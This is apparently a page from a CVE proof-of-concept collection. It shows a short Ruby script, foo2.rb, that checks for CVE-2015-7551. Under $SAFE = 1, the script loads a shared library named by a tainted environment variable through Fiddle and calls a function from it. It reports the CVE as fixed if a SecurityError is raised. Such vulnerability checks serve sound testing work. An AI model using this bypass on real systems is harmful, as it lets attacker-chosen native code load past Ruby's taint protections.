4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / foo2.rb RB
require 'fiddle'
$SAFE = 1

begin
  h = Fiddle::Handle.new(ENV["FOO"])
  foo = Fiddle::Function.new(h['foo'],[],Fiddle::TYPE_VOIDP)

  ptr = foo.call
  puts ptr[0, Fiddle::SIZEOF_CHAR * 255]
rescue SecurityError
  puts "CVE-2015-7551 fixed"
end